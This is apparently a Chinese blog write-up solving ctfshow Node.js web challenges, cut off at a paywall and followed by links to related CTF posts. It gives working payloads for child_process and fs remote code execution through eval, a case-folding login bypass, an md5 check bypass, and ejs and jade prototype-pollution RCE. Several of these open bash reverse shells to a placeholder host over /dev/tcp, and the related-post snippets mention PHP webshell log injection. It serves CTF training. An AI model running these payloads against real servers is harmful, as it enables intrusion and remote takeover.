ctfshow-WEB入门-Part4-wp

已于 2022-10-07 14:19:33 修改
阅读量1.9k 收藏 1
点赞数
分类专栏： wp 文章标签： web安全
于 2022-10-06 20:31:36 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/mmmjjjjjj1996/article/details/127187521
版权

文章目录

WEB入门

13、nodejs

web334：参数绕过

下载附件得到源码，开始审计

login.js

var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;
 
var findUser = function(name, password){
   
  return users.find(function(item){
   
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};

/* GET home page. */
router.post('/', function(req, res, next) {
   
  res.type('html');
  var flag='flag_here';
  var sess = req.session;
  var user = findUser(req.body.username, req.body.password);
 
  if(user){
   
    req.session.regenerate(function(err) {
   
      if(err){
   
        return res.json({
   ret_code: 2, ret_msg: '登录失败'});        
      }
       
      req.session.loginUser = user.username;
      res.json({
   ret_code: 0, ret_msg: '登录成功',ret_flag:flag});              
    });
  }else{
   
    res.json({
   ret_code: 1, ret_msg: '账号或密码错误'});
  }  
});

module.exports = router;

user.js

module.exports = {
   
  items: [
    {
   username: 'CTFSHOW', password: '123456'}
  ]
};

findUser函数判断了三个条件，第一个对用户名进行全类型比较，需要不等于CTFSHOW，第二个需要用户名在转为大写之后等于CTFSHOW，第三个是判断密码是否正确，在user.js中提供了账号密码

解法一：大小写绕过

发送一个大小写的用户名

username=CTFshow&password=123456

解法二：JS特性

参考资料：https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html

字符"ı"、"ſ" 经过toUpperCase()处理后结果为 "I"、"S"
字符"K"经过toLowerCase()处理后结果为"k"(这个K不是K)

在绕一些规则的时候就可以利用这几个特殊字符进行绕过

故可以构造payload

ctfſhow 123456

web335：rce

一道node.js的RCE

查看源码，发现提示： /?eval=

先随便传一个数字进去，发现它回显了出来，但是输入字母的时候，就显示404 找不到文件，说明这里应该执行了我们输入的内容，这里的代码可能是eval('console.log(xxx)')

eval可以执行js代码，那我们就可以利用js代码去进行RCE

利用child_process模块执行命令

利用child_process包来构造payload，这是node.js中用来执行系统命令的一个包，其中有多个方法可以用来利用

//execSync
?eval=require('child_process').execSync('ls')
?eval=require('child_process').execSync('ls').toString();
//spawnSync
?eval=require('child_process').spawnSync('cat',['fl00g.txt']).output;
?eval=require('child_process').spawnSync('cat',['fl00g.txt']).stdout;
//IIFE(立即调用函数表达式)，js在遇到它之后会立即执行函数
?eval=global.process.mainModule.constructor._load('child_process').exec('ls');

利用fs模块去读文件

fs模块就是nodejs中一个文件操作模块，可以对文件进行删除增加写入读取操作

/?eval=require('fs').readdirSync('.') // 查看当前目录
/?eval=require('fs').readFileSync('fl00g.txt') //读取文件

利用拼接绕过命令执行

'+' 要urlencode一下
?eval=var a="require('child_process').ex";var b="ecSync('ls').toString();";eval(a%2Bb); 
?eval=require('child_process')['ex'%2B'ecSync']('cat f*')

web336：rce

过滤了exec，可以使用spawn或者是读文件同web335一样

?eval=require( 'child_process' ).spawnSync( 'ls' ).stdout.toString()
?eval=require( 'child_process' ).spawnSync( 'cat', [ 'fl001g.txt' ] ).stdout.toString()
/?eval=require("child_process")['exe'%2B'cSync']('ls')

web337：md5比较

var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
   
  return crypto.createHash('md5')
      .update(s)
      .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
   
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;
  var b = req.query.b;
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
   
    res.end(flag);
  }else{
   
    res.render('index',{
    msg: 'tql'});
  }

});

module.exports = router;

需要传入a和b，它们值互不相同，但是长度相同，并且md5(a+flag)===md5(b+flag)

payload：

a[x]=1&b[x]=2
b[]=1&a[]=1

注意：中括号里是数字就不行，如果传a[0]=1&b[0]=2，相当于创了个变量a=[1] b=[2]，再像上面那样打印的时候，会打印出1flag{xxx}和2flag{xxx}，md5就不一样了

web338：ejs原型污染

参考资料：https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x02-javascript

var o = {
   a: 1};
// o对象直接继承了Object.prototype
// 原型链：
// o ---> Object.prototype ---> null

var a = ["yo", "whadup", "?"];
// 数组都继承于 Array.prototype
// 原型链：
// a ---> Array.prototype ---> Object.prototype ---> null

function f(){
   
  return 2;
}
// 函数都继承于 Function.prototype
// 原型链：
// f ---> Function.prototype ---> Object.prototype ---> null

原型链污染原理

对于语句：object[a][b] = value 如果可以控制a、b、value的值，将a设置为__proto__，我们就可以给object对象的原型设置一个b属性，值为value。这样所有继承object对象原型的实例对象在本身不拥有b属性的情况下，都会拥有b属性，且值为value。

app.js

var createError = require('http-errors');
var express = require('express');
var ejs = require('ejs');
var path = require('path');
var cookieParser = require('cookie-parser');
var logger = require('morgan');
var session = require('express-session');
var FileStore = require('session-file-store')(session);

var indexRouter = require('./routes/index');
var loginRouter = require('./routes/login');

导入了ejs模板渲染引擎，这个东西经常出现原型污染问题，而且大多都是利用原型污染来RCE，代码审计，先看login路由

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
   
  res.type('html');
  var flag='flag_here';
  var secert = {
   };
  var sess = req.session;
  let user = {
   };
  utils.copy(user,req.body);
  if(secert.ctfshow==='36dboy'){
   
    res.end(flag);
  }else{
   
    return res.json({
   ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }
  
  
});

module.exports = router;

可以看到flag就在这里，要想获得flag，就必须要使secert.ctfshow等于36dboy，当看完上面的文章，再看这里结果已经已经不言而喻了，就是利用原型污染给secret的原型添加一个属性名为ctfshow值为36dboy，这样就符合条件得到flag

login.js代码中存在一个copy功能utils.copy(user,req.body);，utils.copy就类似于merge函数，存在原型污染

构造payload：

POST /login HTTP/1.1
Host: 7a41ab00-e5c2-484c-815d-7806b272e968.chall.ctf.show:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 66
Origin: http://7a41ab00-e5c2-484c-815d-7806b272e968.chall.ctf.show:8080
Connection: close
Referer: http://7a41ab00-e5c2-484c-815d-7806b272e968.chall.ctf.show:8080/
Cookie: UM_distinctid=177b92aaa18d3-0b2755ebda89a58-4c3f217f-fa000-177b92aaa19337
Pragma: no-cache
Cache-Control: no-cache

{"username":"aa","password":"bb","__proto__":{"ctfshow":"36dboy"}}

web339：ejs原型污染rce

login.js

router.post('/', require('body-parser').json(), function (req, res, next) {
   
    res.type('html');
    var flag = 'flag_here';
    var secert = {
   };
    var sess = req.session;
    let user = {
   };
    utils.copy(user, req.body);
    if (secert.ctfshow === flag) {
   
        res.end(flag);
    } else {
   
        return res.json({
   ret_code: 2, ret_msg: '登录失败' + JSON.stringify(user)});
    }
});

需要secret的值和flag值一样，flag是字符串类型，而且整个代码中，flag并没有参与任何操作，所以这个点已经不能利用了

在api.js中

router.post('/', require('body-parser').json(),function(req, res, next) {
   
  res.type('html');
  res.render('api', {
    query: Function(query)(query)});
});

Function(query)(query)可以执行query对应的指令，我们可以使用变量覆盖，将query的值作为反弹shell的点。

**预期解：**变量覆盖污染query参数

function copy(object1, object2){
   
    for (let key in object2) {
   
        if (key in object2 && key in object1) {
   
            copy(object1[key], object2[key])
        } else {
   
            object1[key] = object2[key]
        }
    }
}
var user ={
   }
body=JSON.parse('{"__proto__":{"query":"return 123"}}');
copy(user,body);
console.log(query); //return 123

成功将query参数污染

payload

{
   "__proto__":{
   "query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/7777 0>&1\"')"}}

将payload以POST发送到/api，反弹shell

在这里插入图片描述

非预期解：

ejs rce具体的来看下这篇文章https://xz.aliyun.com/t/7075

{
   "__proto__":{
   "outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/22222 0>&1\"');var __tmp2"}}

接着post访问login就可以反弹shell了

POST /login HTTP/1.1
Host: 26988b82-90ad-47da-bfa6-43697f71edcb.challenge.ctf.show:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 171
Origin: http://26988b82-90ad-47da-bfa6-43697f71edcb.challenge.ctf.show:8080
Connection: close
Referer: http://26988b82-90ad-47da-bfa6-43697f71edcb.challenge.ctf.show:8080/
Cookie: UM_distinctid=17a044a3e0e161-09f115c9570c0e-4c3f2d73-190e59-17a044a3e0f58d
Pragma: no-cache
Cache-Control: no-cache

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxxxxxx/22222 0>&1\"');var __tmp2"}}

web340：ejs两层原型污染rce

跟上题没有太大区别，只不过需要向上污染两级

login.js

/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
   
  res.type('html');
  var flag='flag_here';
  var user = new function(){
   
    this.userinfo = new function(){
    // 向上两层
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;     
    };
  }
  utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
   
   res.end(flag);
  }else{
   
   return res.json({
   ret_code: 2, ret_msg: '登录失败'});  
  }
  
  
});

module.exports = router;

user.userinfo第一层是函数Function，再向上一层是Object对象

function copy(object1, object2){
   
    for (let key in object2) {
   
        if (key in object2 && key in object1) {
   
            copy(object1[key], object2[key])
        } else {
   
            object1[key] = object2[key]
        }
    }
}
var user = new function(){
   
    this.userinfo = new function(){
    // 向上两层
        this.isVIP = false;
        this.isAdmin = false;
        this.isAuthor = false;
    };
}

body=JSON.parse('{"__proto__": {"__proto__":{"query":"return 123"}}}');
copy(user.userinfo,body);
console.log(user.userinfo); //{ isVIP: false, isAdmin: false, isAuthor: false }
console.log(user.query); //return 123

Payload

污染query参数

{
   
  "__proto__": {
   
    "__proto__": {
   
      "query": "return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxxx/7777 0>&1\"')"
    }
  }
}

ejs原型污染rce

{
   
  "__proto__": {
   
    "__proto__": {
   
      "outputFunctionName": "_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxxx/7777 0>&1\"');var __tmp2"
    }
  }
}

POST发送后，访问api路由触发原型污染

web341：ejs两层原型污染rce

login.js

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
   
  res.type('html');
  var user = new function(){
   
    this.userinfo = new function(){
   
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;     
    };
  };
  utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
   
    return res.json({
   ret_code: 0, ret_msg: '登录成功'});  
  }else{
   
    return res.json({
   ret_code: 2, ret_msg: '登录失败'});  
  }
  
});

module.exports = router;

还是二层污染rce，这题没有了api.js，二层污染query参数就不能使用了，那就是用ejsrce的原型污染payload

{
   
  "__proto__": {
   
    "__proto__": {
   
      "outputFunctionName": "_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxxx/7777 0>&1\"');var __tmp2"
    }
  }
}

POST发送后，访问任意一个页面触发payload

web342：jade原型链污染

参考资料：https://xz.aliyun.com/t/7025

login.js

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
   
  res.type('html');
  var user = new function(){
   
    this.userinfo = new function(){
   
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;     
    };
  };
  utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
   
    return res.json({
   ret_code: 0, ret_msg: '登录成功'});  
  }else{
   
    return res.json({
   ret_code: 2, ret_msg: '登录失败'});  
  }
  
});

module.exports = router;

payload

{
   
  "__proto__": {
   
    "__proto__": {
   
      "type": "Block",
      "nodes": "",
      "compileDebug": 1,
      "self": 1,
      "line": "global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/7777 0>&1\"')"
    }
  }
}

这里要往/login页面发一个json格式的POST请求，最后再随便浏览页面即可触发

在用burp发送之前要把请求头中的“Content-Type”改为"application/json"

发送后，访问任意一个页面触发payload

web343

同上一题

web344：nodejs特性

router.get('/', function(req, res, next) {
   
    res.type('html');
    var flag = 'flag_here';
    if(req.
最低0.47元/天 解锁文章
陪你等待
关注
  • 0
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
ctfshow-WEB-web4
snowlyzz的博客
05-15 901
第一次玩ctfshow 之前都是玩的buu 进入题目 是一个文件包含漏洞,让我们get传参 先是直接读取flag.php试试 ？url =flag.php emmm，。。 好像过滤了，试一下，伪协议读取flag.php文件 ?url=php://filter/read=convert.base64-encode/resource=flag.php emm还是被过滤了。那试一下从其他地方传shell 本来到这已经没思路了，看了下别人的wp才恍然大悟，果然还是我太菜了呜呜..
CtfShow web-web4 WP
qq_45427131的博客
05-11 239
进入WEB4 发现好像和 web3差不多，尝试文件包含可行，但是用php://input 回显就不可行了，接下来尝试包含日志 用burp suite抓包发送到repeater ，在url后面加上 /var/log/nginx/access.log（nginx访问日志） 可以看到回显的内容中有http user-agent，接下来将一句话木马写入到user-agent中， 在user-agent后面加上一句话木马，密码是a <?php @eval($_POST[‘a’]);?> 接.
最新ctfshow-WEB-web4_ctf，网络安全工程师面试题目和答案
最新发布
2401_84264096的博客
05-13 905
页面最明显的位置展示了源码的核心,提示我们利用文件包含漏洞包含日志文件,查看日志文件的信息,可以看到日志文件中保存了网站的访问记录,包括HTTP请求行,Referer,User-Agent等HTTP请求的信息使用代理工具(Burp Suite)抓包,在User-Agent中插入一句话木马很明显,日志文件的内容多了一条访问记录,但没有我们插入的一句话木马,这很正常,因为日志文件中的代码会被执行,而不会显示我们使用蚁剑链接日志文件的路径,getshell。
ROSE笔记-ctf.show-web4-WP
居上
11-06 311
ctf.show-web4 试以下伪协议 payload：/?url=php://input 页面显示错误 方法一：远程文件包含 打开一台携带web服务的云服务器，在目录下创建一个test.php，内容为一句话木马 <?php @eval($_POST['1']); ?> http://xxx/test.php ...
CTFShow Web4
qq_62566956的博客
03-27 312
robots.txt文件是一个文本文件，使用任何一个常见的文本编辑器，比如Windows系统安装了Notepad，就可以创建和编辑它 [1]。robots.txt是一个协议，而不是一个命令。robots.txt是搜索引擎中访问网站的时候要查看的第一个文件。robots.txt文件告诉蜘蛛程序在服务器上什么文件是可以被查看的。总有人把后台地址写入robots，帮黑阔大佬们引路。
ctfshow web4
hintll的博客
06-11 666
利用文件包含实现木马注入
T-SQL编程入门经典part1
04-14
T-SQL经典教材，非常适合入门，同时适合有一定经验的数据库编程者
T-SQL编程入门经典part4
04-14
T-Sql经典教材，非常适合初学者，也适合有一定经验的编程人员
OSEK标准_ISO 17356-4-2005_Part 4 OSEKVDX Communication (COM)
07-04
ISO 17356-4:2005 Part 4:OSEK/VDX Communication(COM) 该标准最后一次审查和确认是在2020年。因此，该版本仍然是最新的。 摘要 ISO 17356-4:2005(COM)规定了汽车控制单元(ECU)应用软件的统一通信环境。 在ISO ...
CentOS-7-x86_64-DVD-1708.part4.rar
07-17
CentOS-7-x86_64-DVD-1708.part4.rar https://download.csdn.net/download/weixin_43800734/20350413 CentOS-7-x86_64-DVD-1708.part3.rar https://download.csdn.net/download/weixin_43800734/20350322 CentOS-7...
T-SQL编程入门经典.part4.rar
10-11
文件太大，分4个压缩包上传的T-SQL编程入门经典.part1.rar、T-SQL编程入门经典.part2.rar 、T-SQL编程入门经典.part3.rar 、T-SQL编程入门经典.part4.rar
CTFSHOW web4
hac1ker123的博客
10-08 238
nginx的日志文件在/var/log/nginx/access.log和error.log中。出现这个界面表示连接成功了，然后在文件管理中找到flag.text就能看到flag了。在User-Agent代理中写入一句话木马。期中access.log文件是可以打开的。3.然后进行抓包,写入一句话木马。然后用webshell工具连接。输入url，getshell。然后查看消息头--》网络--》当出现界面刷新刷新木马写入。1.进来看题为文件包含。
ctfshow.web4
weixin_71543329的博客
12-23 413
日志文件会保存网站的访问记录,比如HTTP请求行,User-Agent,Referer等客户端信息，如果在HTTP请求中插入恶意代码,那么恶意代码就会保存到日志文件中,访问日志文件的时候，日志文件中的恶意代码就会执行,从而造成任意代码执行甚至获取shell。2.同web3一样先使用php伪协议，php://input 发现会被过滤掉，换成PHp这种不行，应该被过滤掉了，所以使用别的方法考虑。日志路径：/var/log/nginx/access.log和 /var/log/nginx/error.log。
ctfshow-web4
HAI_WD的博客
08-04 605
默认nginx日志是：/var/log/nginx/access.log，可以看到记录了请求。那么我们就可以修改ua头进行代码注入，如果存在ssh连接的话，用ssh日志也可以。然后cat一下获取到flag。
ctf.show_web4
Kavint的博客
04-20 531
F12打开网络栏，可以看到Server里面是nginx，尝试一下日志注入。用Burp Suite抓包，在User-Agent后面写个🐎。注意URL地址写的是日志地址，因为我们的🐎是传进日志里了。此时木马已经插入进去了，日志中的代码会被执行但不会显示。($_GET['url'])可看出存在文件包含漏洞。放包，注意看日志下面这时多出来一条。nginx服务器默认日志位置在。在上层可以看到flag.txt。在url后面输入查看一下。
CTF_ctfshow_web4
weixin_54227009的博客
05-13 907
打开网页发现和web3差不多，文件包含url 但尝试了web3，发现error了 伪协议用不了了 可以尝试用一句话连接，bp抓包，上传一句话 但一句话不知道是传到了哪个路径下， 查看网络： 发现是nginx,nginx的日志文件在/var/log/ngnix/access.log或/var/log/ngnix/error.log 故，一句话可以传到日志目录下 将User-Agent这里写进一句话 上传成功： 路径：ctf.show_web4http://f30ab..
CTFshow web入门 web4
weixin_45990644的博客
07-07 709
CTFshow web入门 web4 题目提示robots，看了些文章反应过来时是关于robots的协议问题，利用“robots.txt”来进行查看链接： 打开之后发现这些代码，百度了一下是些Roberts协议。 User-agent: * 表示所有的搜索引擎种类，*是一个通配符。 Disallow: /flagishere.txt表示是禁止爬取名为flagishere的txt文件。 本着实验的心态在链接后面加了/flagishere.txt试了试，最后得到了flag 。 补充 因为之前没有接触过爬虫，
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值